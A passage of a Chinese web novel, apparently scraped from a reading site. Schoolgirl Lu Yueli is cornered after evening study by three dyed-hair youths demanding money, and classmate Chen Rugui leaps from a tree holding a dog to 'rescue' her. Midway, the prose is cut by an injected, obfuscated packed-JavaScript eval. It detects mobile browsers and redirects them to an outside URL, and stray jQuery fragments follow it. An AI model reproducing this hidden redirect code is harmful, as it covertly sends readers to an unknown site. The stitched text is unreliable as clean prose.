晚自习放学后,卢月梨总有些心慌,脑袋好像也有些疼。
收拾书包时,她像往常一样,确定书包夹层里的一百块还乖乖躺在里面。
眼皮忽然跳了一下,是在提醒什么?
她花了三秒钟思考,决定把钱放进校服外套的兜里。
班里人走了一大半,卢月梨还在穿外套。穿好后,她摸着口袋里的钱,这下一定万无一失了。
和齐妙在树下告别时,卢月梨不知道,接下来,她永远都忘不了这一天了。
她像往常一样往前走,越往前走,同行的学生越少,不过前面那一块倒是围着好几个人,看起来热闹的很。
卢月梨没在意,走近了才发觉不对劲。
昏暗的路灯下,站着几个头发五颜六色的社会青年,为首那个身材可以和她姑父一较高下的红发大哥正拦住同样穿着校服的男学生。
这是…在收保护费?
意识到这点的卢月梨下意识捂住口袋后退。
是谁走漏了风声?昨天不来前天不来,偏偏就今天来。
今天她真的有钱给。
眼皮跳还真在提醒,不过怎么只提醒一半,把钱放进兜里的时候不跳了。
早知道把钱放在学校了。
那男生还在挣扎,倒是正好给了她机会,卢月梨悄悄地后退准备绕过这个是非之地。
然而为时已晚,还没来得及转身,那个年轻杀马特版姑父拍拍那男生的肩膀放他过去,接着就冲她喊:“看什么呢学妹,到你了。”
不妙。
卢月梨看着男生远去的背影,同学啊同学,你怎么就不能再坚持一会呢。
社会哥们站在那等她过去,卢月梨当做没听到,转身拔腿就跑。也不管是不是回去的方向,她要往人多的地方跑。
卢月梨还没跑多远,身后的三个人很快反应过来,也跟着跑过来,很快就追上她,围成一个圈朝她缓缓走来。
红毛姑父哥捋了把头发,说:“哥跟你打个招呼而已,急着回家啊?”
旁边高高的黄毛哥笑的好难看:“学妹你跑挺快啊。”
卢月梨本来就有点头疼,看到他笑就被刺激地有点想吐。怪不得陈如桂平时那么自恋,原来世界上有这么多比他丑的人。
“怎么不说话?”
卢月梨沉默地后退,总不能说是你丑到我了吧。
红毛哥替她回答:“哎,学妹比较腼腆,不好意思和哥哥们说话。”
三个人跟沙避一样,明明是□□抢劫,却迟迟不开口要钱,就这么你一言我一语,声音也不好听,再搭配那几张丑脸,已经不是简单的难听了。
这算骚扰。
不知道前面那个男生,被抢劫前有没有先被骚扰一下?
陈如桂说话就不这样,面前这几个沙避嗡嗡地吵得她脑子疼。
一想到现在耽误了时间,回去又要跟另一个对厕所有占有欲的沙避排队洗澡卢月梨就更烦。
人一烦就什么都干的出来。
比如她此刻,不知道哪里来的力气,一手一个,三下五除二就把堵在她面前的几个五颜六色的人推开,并试图趁他们没反应过来就溜之大吉。
瘦瘦的绿毛哥惊呼一声:“我靠!还跑?”
遗憾的是,他们反应还是不够慢,卢月梨以为自己至少可以坚持到那棵桂花树下,那里人多些。
结果还没跑两步,还没到前面的梧桐树下,就被气急败坏的□□追了回来。
丑丑的黄毛哥眉毛立起来,气喘吁吁道:“你当我在和你开玩笑吗?”
你们这么说话难道还不像是开玩笑吗?
这回红毛哥不再寒暄,直截了当地问:“有钱没。”
卢月梨迅速摇头。
旁边的黄毛哥问:“那你捂着兜做什么?”
绿毛说:“乖乖给点钱,以后在学校碰到危险我们护着你。”
卢月梨心说,除了你们我从来就没有遇到过危险。
识时务者为俊杰,卢月梨慢吞吞松开手,那红毛催促道:“动作快点,别怕,哥不打女人。”
卢月梨的动作停住,他不打女人?
黄毛哥不耐烦:“说到做到,快给钱。”
卢月梨摊手立正:“我没钱。”
她兜里的钱好歹还是叫妈才得来的,这几个杀马特连妈都没叫,就想她乖乖给钱?
赚钱未免也太轻松了。
红毛哥晃晃拳头:“你什么意思?”
卢月梨后退:“你不是不打女人的?”
几个人缓缓朝她走来:“我骗你的。”
这下真不妙。
卢月梨退退退,身子快要抵到梧桐树的树干,她回头,这下退无可退了。
识时务者为俊杰,她心一横就要把兜里的钱拿出来。
君子报仇,十年不晚,等明天我就…
这种时候她居然还能置身事外地盘算一番。
报警不大现实,真抓也抓不了几天,没几天放出来了,这帮社会哥肯定会更生气,她天天都要走这条路,很有可能会被再次报复。
告诉家长也行不通,没家长给她撑腰,卢月梨想了一圈,最终只想到了每天守在门前抓她迟到的班主任。
告诉班主任主持公道?算了,班主任估计也打不过他们,说不准剩下的头发也会被薅秃。
看来她今天注定要吃哑巴亏了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211417|180252||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“等等!”
这声音从哪来的?树下几人环顾四周,同时抬头。
四颗不同颜色的脑袋同一角度仰着,样子有些滑稽。
这是一棵歪脖子梧桐树,树干粗壮又结实,因为是歪脖子,所以枝干并不算高,而是略微倾斜着延伸。
天色又暗,压根没人发现上边居然藏着个人。
卢月梨已经听出来上边的是谁了,与此同时,她几乎立刻就想到了她上周做的那个梦。
太魔幻了,现在是梦吗?她指甲嵌进手心,传来微微的刺痛感,卢月梨确定,这不是梦。
但怎么和她的梦相似度这么高?难道她还会做预知梦了?那今晚一定要好好做梦,争取梦到个彩票号码。
陈如桂没立刻就下来,而是深吸一口气,像是在做心理准备。
卢月梨也在做心理准备。
果然,她的心理准备没白做。
下一秒,在场所有人都听见了他中气十足地喊了一声:“卢月梨!我来!拯救你了!”
词都一样,有够邪门的。
…
地上站着的人一时都愣住,黄毛哥最先发出感叹:“卧槽,太二了…”
红毛哥:“卧槽,太二了…”
绿毛哥:“卧槽,太二了…”
卢月梨:“…”
见卢月梨没说话,红毛哥用胳膊捅她:“你叫卢月梨啊?他说他救你来了。”
卢月梨沉默地后退一步,远离红毛哥。
四颗脑袋就这么仰着,看他从天而降。
陈如桂怀里抱着个什么东西,但仍然动作潇洒地从树上下来了,他在卢月梨旁边站定,把手里的东西塞给她。
卢月梨懵了,怎么还有狗?
这真的真的真的,不是梦吗?
陈如桂挡在怀里抱着狗的卢月梨身前:“卢月梨不要怕。”
红毛哥:“卢月梨你怕什么我们除了说话什么都没做啊?”
绿毛哥:“卢月梨你怕什么我们除了追你什么都没做啊?”
黄毛哥:“卢月梨你怕什么我们除了要钱什么都没做啊?”
三个人说了三件不同的事,现在卢月梨本人:“…”
为什么从头到尾只念了她卢月梨一个人的名字!
红毛哥没忘了正事:“我不管什么救不救的,卢月梨给钱,还有你,高一的吧?你也给钱。”
黄毛哥说:“就是,不然别怪我们不客气。”
绿毛哥说:“我们虽然不一定打女人,但是一定打男人。”
陈如桂冷笑一声:“哼,那也要问过我的拳头。”
红毛哥从善如流地接:“呵,我的拳头也不是吃素的。”